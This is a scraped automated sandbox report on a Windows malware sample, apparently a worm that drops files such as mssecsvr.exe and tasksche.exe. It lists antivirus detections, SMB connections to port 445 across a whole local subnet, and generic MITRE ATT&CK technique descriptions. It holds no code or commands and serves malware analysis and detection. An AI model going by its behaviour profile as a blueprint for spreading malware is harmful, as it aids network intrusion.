Source: 8.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 7.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 5.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 5.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 7.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 5.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 5.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QbNF1cvpa0

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
QbNF1cvpa0

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre